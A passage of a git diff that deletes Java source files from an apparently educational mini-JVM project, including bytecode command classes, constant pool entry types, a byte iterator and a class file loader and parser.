-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 2e6061edd2..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index e6cf9d5960..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index ac228d0e4d..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index c15d827797..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
deleted file mode 100644
index ffb66f811c..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 33813b5d59..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 56c28fefe2..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 963d064257..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 85bb369c19..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 6c0cf53082..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
deleted file mode 100644
index 92ac5b67eb..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 8d4fc6f0de..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-	public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor {
-		void visitClassInfo(ClassInfo classInfo);
-		void visitFieldRefInfo(FieldRefInfo fieldRefInfo);
-		void visitMethodRefInfo(MethodRefInfo methodRefInfo);
-		void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo);
-		void visitNullConstantInfo(NullConstantInfo nullConstantInfo);
-		void visitStringInfo(StringInfo stringInfo);
-		void visitUTF8Info(UTF8Info utf8Info);
-	}
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
deleted file mode 100644
index 93506b1e20..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public int getSize() {		
-		return this.constantInfos.size() -1;
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index cb31499dd3..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRefInfo(this);
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 466b06f9ea..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRefInfo(this);
-	}
-	
-	
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index c13d8c4fc6..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndTypeInfo(this);
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 655c273621..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNullConstantInfo(this);
-	}
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
deleted file mode 100644
index 84ae36c4ca..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitStringInfo(this);
-	}
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
deleted file mode 100644
index 7c4aeb1861..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitUTF8Info(this);
-	}
-	
-	
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/field/Field.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/field/Field.java
deleted file mode 100644
index 01a009331c..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coderising.jvm.field;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	
-	
-	
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descriptorIndex = iter.nextU2ToInt();
-		Field field = new Field(accessFlag, nameIndex, descriptorIndex, pool);
-		int attCount = iter.nextU2ToInt();
-		if(attCount > 0){
-			//TODO handle field attrs
-			throw new RuntimeException("Field.attr not implements");
-		}
-		return field;
-	}
-	
-	public String toString() {
-		return pool.getUTF8String(nameIndex) + ":" + pool.getUTF8String(descriptorIndex);
-	}
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index c0c4598800..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,69 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-public class ByteCodeIterator {
-	
-	private byte[] codes;
-	private int pos;
-	
-	public ByteCodeIterator(byte[] codes){
-		this.codes = codes;
-	}
-	
-	public byte[] nextU2(){ return new byte[]{codes[pos++], codes[pos++]};}
-	
-	public byte[] nextU4(){ return new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]};}
-	
-	public int nextU1ToInt() {
-		return (codes[pos++] & 0xff);
-	}
-	
-	public int nextU2ToInt() {
-		return ((codes[pos++] & 0xff00) << 8) | (codes[pos++] & 0x00ff);
-	}
-	
-	public int nextU4ToInt() {
-		return ((codes[pos++] & 0xff000000) << 24) | ((codes[pos++] & 0x00ff0000) << 16)
-				| ((codes[pos++] & 0x0000ff00) << 8) | (codes[pos++] & 0x000000ff) ;
-	}
-	
-	public String nextUxToHexString(int len) {
-		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<len;i++){
-   			byte b = codes[pos++];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-	}
-	
-	public String nextUxToString(int len){
-		byte[] tmp = new byte[len];
-		for(int i=0;i<len;i++){
-			tmp[i] = codes[pos++];
-		}
-		try {
-			return new String(tmp, "UTF-8");
-		} catch (UnsupportedEncodingException e) {
-			e.printStackTrace();
-			return "";
-		}
-	}
-	
-	public void back(int len){
-		this.pos-=len;
-	}
-	
-	public static void main(String[] args) {
-		byte a = 00;
-		byte b = 52;
-		int value = ((a & 0xff00) << 8) | (b & 0xff);
-		System.out.println(value);
-	}
-	
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 176b4af934..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,99 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		className = className.replace('.', File.separatorChar) +".class";
-		
-		for(String path : this.clzPaths){
-			
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}			
-		}
-		
-		return null;
-	}
-	
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-		
-	}
-
-	public void addClassPath(String path) {
-		if(clzPaths.contains(path))
-			return ;
-		clzPaths.add(path);
-	}
-	
-	
-	
-	public String getClassPath(){
-		StringBuilder sb = new StringBuilder();
-		for(String clzPath : clzPaths){
-			sb.append(clzPath).append(";");
-		}
-		return sb.length() == 0?"":sb.substring(0, sb.length()-1);
-	}
-
-	private byte[] loadClassFile(String clzFileName) {
-		
-		BufferedInputStream bis = null;
-		
-		try {
-			
-			File f = new File(clzFileName);
-			
-						
-			bis = new BufferedInputStream(new FileInputStream(f));
-			
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			
-			
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);				
-			}
-			
-			byte [] codes = bos.toByteArray();
-			
-			return codes;
-			
-		} catch(IOException e){
-			e.printStackTrace();
-			
-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {					
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-	}	
-
-	
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
deleted file mode 100644
index 3a6258e26b..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,134 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileParser {
-	
-	public ClassFile parse(byte[] codes) {
-		ClassFile classFile = new ClassFile();
-		ByteCodeIterator iter = new ByteCodeIterator(codes);
-		
-//		String magicNumber = iter.nextUxToHexString(4);
-		iter.nextUxToHexString(4);
-		
-		classFile.setMinorVersion(iter.nextU2ToInt());
-		classFile.setMajorVersion(iter.nextU2ToInt());
-		
-		ConstantPool pool = parseConstantPool(iter);
-		classFile.setConstPool(pool);
-		
-		classFile.setAccessFlag(parseAccessFlag(iter));
-		
-		classFile.setClassIndex(parseClassInfex(iter));
-		
-		parseInterfaces(iter);
-		
-		classFile.setFields(prarseField(iter, pool));
-		classFile.setMethods(parseMethod(iter, classFile));
-		return classFile;
-	}
-
-	private List<Method> parseMethod(ByteCodeIterator iter, ClassFile classFile) {
-		List<Method> methods = new ArrayList<>();
-		int mthodsCount = iter.nextU2ToInt();
-		for(int i=0;i<mthodsCount;i++) {
-			methods.add(Method.parse(classFile, iter));
-		}
-		return methods;
-	}
-
-	private List<Field> prarseField(ByteCodeIterator iter, ConstantPool pool) {
-		List<Field> fields = new ArrayList<>();
